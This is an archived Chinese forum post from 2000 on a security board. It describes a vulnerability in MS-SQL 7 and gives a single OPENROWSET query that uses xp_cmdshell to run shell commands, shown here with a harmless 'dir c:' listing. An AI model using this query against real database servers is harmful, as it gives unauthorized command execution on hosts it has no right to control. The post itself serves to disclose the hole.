精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◆系统漏洞◆>>Ms-SQL7可以用select语句执行shell命令。

主题:Ms-SQL7可以用select语句执行shell命令。
发信人: netcc()
整理人: (2000-03-21 18:26:00), 站内信件
下面查询命令,在SQL7上测试通过,可以执行各种命令。如dir c:等等。需要更
改myserver为真正的数据源。
SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Sourc
e=myserver','SET FMTONLY OFF execute master..xp_cmdshell "dir c:\"')

--
                        我思念的城市已是黄昏
                          
      为何我总是对你一网情深!

※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 210.75.33.246]

[关闭][返回]